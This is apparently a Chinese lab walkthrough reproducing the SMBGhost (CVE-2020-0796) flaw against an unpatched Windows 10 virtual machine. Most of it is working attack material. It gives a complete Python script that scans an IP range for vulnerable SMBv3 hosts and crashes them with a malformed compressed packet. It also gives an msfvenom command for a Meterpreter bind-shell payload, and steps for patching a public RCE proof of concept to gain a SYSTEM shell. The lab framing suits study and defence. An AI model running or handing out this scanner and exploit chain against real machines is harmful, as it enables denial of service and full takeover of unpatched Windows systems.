# 渗透攻击 win10(永恒之黑漏洞 CVE-2020-0796)
# 前言
永恒之黑漏洞是源于 SMB 3.1.1
协议中压缩数据时没有对数据进行安全检查,引起了内存破坏漏洞,导致可以被攻击者利用从而远程执行任意代码。
这次利用的是 window10,它的漏洞源于 SMBv3
没有准确处理压缩包,在解压时没有检查客户端传过来的长度是否合法,导致 整数溢出
,利用该漏洞,黑客可直接远程攻击 SMB 服务端远程执行任意恶意代码
# 环境
kali ip:192.168.232.129
Distributor ID: Kali
Description: Kali GNU/Linux Rolling
Release: 2023.3
Codename: kali-rolling
Windows 10 (consumer editions), version 1909 (x64) ip:192.168.232.132
# 工具
msfvenom
来生成shellcode
- 利用别人已有的 poc:https://github.com/chompie1337/SMBGhost_RCE_PoC.git
# 检测是否打了补丁
该漏洞于 KB4551762补丁
修复
利用命令 systeminfo
查看情况
并没有补丁进行修复,可以利用漏洞
# 永恒之黑漏洞复现(CEV-2020-0796)
1. 安装 win10 关闭防火墙并查看 ip
2. 检测是否能够 ping
通
# 3. 在 kali 中利用 python 脚本测试漏洞,成功时 win10 主机会蓝屏
import socket, struct, sys | |
from netaddr import IPNetwork | |
class Smb2Header: | |
def __init__(self, command, message_id): | |
self.protocol_id = "\xfeSMB" | |
self.structure_size = "\x40\x00" # Must be set to 0x40 | |
self.credit_charge = "\x00" * 2 | |
self.channel_sequence = "\x00" * 2 | |
self.channel_reserved = "\x00" * 2 | |
self.command = command | |
self.credits_requested = "\x00" * 2 # Number of credits requested / granted | |
self.flags = "\x00" * 4 | |
self.chain_offset = "\x00" * 4 # Points to next message | |
self.message_id = message_id | |
self.reserved = "\x00" * 4 | |
self.tree_id = "\x00" * 4 # Changes for some commands | |
self.session_id = "\x00" * 8 | |
self.signature = "\x00" * 16 | |
def get_packet(self): | |
return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature | |
class Smb2NegotiateRequest: | |
def __init__(self): | |
self.header = Smb2Header("\x00" * 2, "\x00" * 8) | |
self.structure_size = "\x24\x00" | |
self.dialect_count = "\x08\x00" # 8 dialects | |
self.security_mode = "\x00" * 2 | |
self.reserved = "\x00" * 2 | |
self.capabilities = "\x7f\x00\x00\x00" | |
self.guid = "\x01\x02\xab\xcd" * 4 | |
self.negotiate_context = "\x78\x00" | |
self.additional_padding = "\x00" * 2 | |
self.negotiate_context_count = "\x02\x00" # 2 Contexts | |
self.reserved_2 = "\x00" * 2 | |
self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1 | |
self.padding = "\x00" * 4 | |
def context(self, type, length): | |
data_length = length | |
reserved = "\x00" * 4 | |
return type + data_length + reserved | |
def preauth_context(self): | |
hash_algorithm_count = "\x01\x00" # 1 hash algorithm | |
salt_length = "\x20\x00" | |
hash_algorithm = "\x01\x00" # SHA512 | |
salt = "\x00" * 32 | |
pad = "\x00" * 2 | |
length = "\x26\x00" | |
context_header = self.context("\x01\x00", length) | |
return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad | |
def compression_context(self): | |
compression_algorithm_count = "\x03\x00" # 3 Compression algorithms | |
padding = "\x00" * 2 | |
flags = "\x01\x00\x00\x00" | |
algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00" # LZNT1 + LZ77 + LZ77+Huffman | |
length = "\x0e\x00" | |
context_header = self.context("\x03\x00", length) | |
return context_header + compression_algorithm_count + padding + flags + algorithms | |
def get_packet(self): | |
padding = "\x00" * 8 | |
return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding | |
class NetBIOSWrapper: | |
def __init__(self, data): | |
self.session = "\x00" | |
self.length = struct.pack('>i', len(data)).decode('latin1')[1:] | |
self.data = data | |
def get_packet(self): | |
return self.session + self.length + self.data | |
class Smb2CompressedTransformHeader: | |
def __init__(self, data): | |
self.data = data | |
self.protocol_id = "\xfcSMB" | |
self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1') | |
self.compression_algorithm = "\x01\x00" | |
self.flags = "\x00" * 2 | |
self.offset = "\xff\xff\xff\xff" # Exploit the vulnerability | |
def get_packet(self): | |
return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data | |
def send_negotiation(sock): | |
negotiate = Smb2NegotiateRequest() | |
packet = NetBIOSWrapper(negotiate.get_packet()).get_packet() | |
sock.send(packet.encode('latin1')) | |
sock.recv(3000) | |
def send_compressed(sock, data): | |
compressed = Smb2CompressedTransformHeader(data) | |
packet = NetBIOSWrapper(compressed.get_packet()).get_packet() | |
sock.send(packet.encode('latin1')) | |
sock.recv(1000) | |
def darkness_attack(ip: str): | |
sock = socket.socket(socket.AF_INET) | |
sock.settimeout(3) | |
sock.connect((ip, 445)) | |
send_negotiation(sock) | |
try: | |
send_compressed(sock, "JST" * 100) | |
except Exception: | |
return True | |
return False | |
def scanner(ip): | |
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' | |
for ip in IPNetwork(ip): | |
sock = socket.socket(socket.AF_INET) | |
sock.settimeout(3) | |
try: | |
sock.connect((str(ip), 445)) | |
except: | |
sock.close() | |
continue | |
sock.send(pkt) | |
nb, = struct.unpack(">I", sock.recv(4)) | |
res = sock.recv(nb) | |
if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00": | |
print(f"{ip} Not vulnerable.") | |
else: | |
darkness_attack(str(ip)) | |
print(f"{ip} Vulnerable") | |
if __name__ == "__main__": | |
print(scanner('192.168.232.132')) | |
# if len(sys.argv) != 2: | |
# exit("[-] Usage: {} target_ip".format(sys.argv[0])) |
测试成功
# 4. 开始利用 RCE
利用前面准备好的 SMBGhost_RCE_PoC
这里我们需要利用 msf 中的 msfvenom
生成 shellcode
对上面的 poc 进行修改
1. 生成 shellcode(这里设置开启 5555 端口):
命令:
msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f py -o shellcode.txt
shellcode 文件:
这里需要将 buf
修改位 USER_PAYLOAD
为了使在 poc 中替换的 shellcode关键字相同
,可以利用脚本来一键替换
替换成功:
2. 修改 SMBGhost_RCE_PoC
内 exploit
的 shellcode
这里修改完成
3. 使用 msf 开启监听
(前面在永恒之蓝漏洞已经用过这些命令,了解了对应功能)
4. 执行 exp
python3 exploit.py -ip 192.168.232.132
运行成功(此次尝试了多次,有时 win10 会直接蓝屏以及 msf 监听没有回显):
查看权限,看见已经是 system 用户
创建一个 cumt 文件并上传到 c 盘:
进入 win10 主机查看一下
到此永恒之黑漏洞就复现完毕
参考:
https://developer.aliyun.com/article/1221161
https://zhuanlan.zhihu.com/p/414990037
https://blog.51cto.com/u_15324581/4861255